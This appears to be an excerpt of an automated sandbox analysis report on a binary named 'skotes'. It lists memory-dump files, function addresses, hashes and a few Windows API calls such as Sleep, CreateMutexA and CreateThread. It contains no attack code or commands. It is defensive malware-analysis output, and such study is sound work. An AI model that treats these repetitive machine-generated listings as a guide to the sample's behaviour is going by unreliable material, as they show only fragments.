Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2g
API String ID: 396266464-2857566196
Opcode ID: 58226c50159bf911e7662fa60b5418e539bd69ef1333fa66ac696aaaf4ab7705
Instruction ID: ebf202b935a96ad0b6f0d1bd7f7eaf27da0a234d9b41da97a8bbc5eb13dd38d4
Opcode Fuzzy Hash: 58226c50159bf911e7662fa60b5418e539bd69ef1333fa66ac696aaaf4ab7705
Instruction Fuzzy Hash: D4312A71A151048BEB08DBB8DD89BEDB773DBC1310F288658E064A73D5D7359AC18752

Function 0061A960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0061A963
CreateMutexA.KERNEL32(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: f683e2e0f6ba8ebfc27035a63c2d284fc8ca1cf5bafec5e3050d912423140904
Instruction ID: 69124bb4bb227d48642faba1ca2e17ccebef59864093c45172c3cc087cbf6618
Opcode Fuzzy Hash: f683e2e0f6ba8ebfc27035a63c2d284fc8ca1cf5bafec5e3050d912423140904
Instruction Fuzzy Hash: 86E026306A930096FB0037A8B845BED216787C1700F356C24E128D72E2C91096C05223

Function 00617590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,2054CAE1,?,00000000,00659138,000000FF), ref: 006175CC
CreateThread.KERNEL32(00000000,00000000,00617430,00678638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 006176BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 006176C9

Part of subcall function 0062D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0062D17B

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: e3e3ee223a3b1b49759c3a98bee0ce0c5bf66c2ccdbe0895ed7391796db153ff
Instruction ID: 4cc41dd2f112e343afff564eaa7ff16692e00b4a328c1ec943fc1186c5dcc168
Opcode Fuzzy Hash: e3e3ee223a3b1b49759c3a98bee0ce0c5bf66c2ccdbe0895ed7391796db153ff
Instruction Fuzzy Hash: CA51EC70240644AFEB18DF28DC89F9D3BA3EB45714F548619F819873D1DB7AA8C08B95

Function 00646E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7e5dc82a8adbd965d4f3e6751a9e98a1b0e2fd128cf73dd97fd4984ade92253
Instruction ID: e525b1b34276772828eafd7e525728db54f754d805d311fac88ab5c282cc84be
Opcode Fuzzy Hash: f7e5dc82a8adbd965d4f3e6751a9e98a1b0e2fd128cf73dd97fd4984ade92253
Instruction Fuzzy Hash: AE21F8729052087BEB51BB68EC42FDF376BDF42778F100219F9642B2C1DB709E058666

Function 00626D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00626D11
Sleep.KERNEL32(00007530), ref: 00626D25

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 0c841b744732c49c16ecf3ca8546dfe04090674a6d977aad3fab1f45914eab47
Instruction ID: 999437be06bada3f429c7dc262df5dc12120dd6dc32b5f64b1f0ae341405d7d1
Opcode Fuzzy Hash: 0c841b744732c49c16ecf3ca8546dfe04090674a6d977aad3fab1f45914eab47
Instruction Fuzzy Hash: 7DD08C707C0728B7F2201321BC0BF27AA129B0AF10FA62C40B7083F0D0C6E034004BAC

Function 00618380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00618524

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
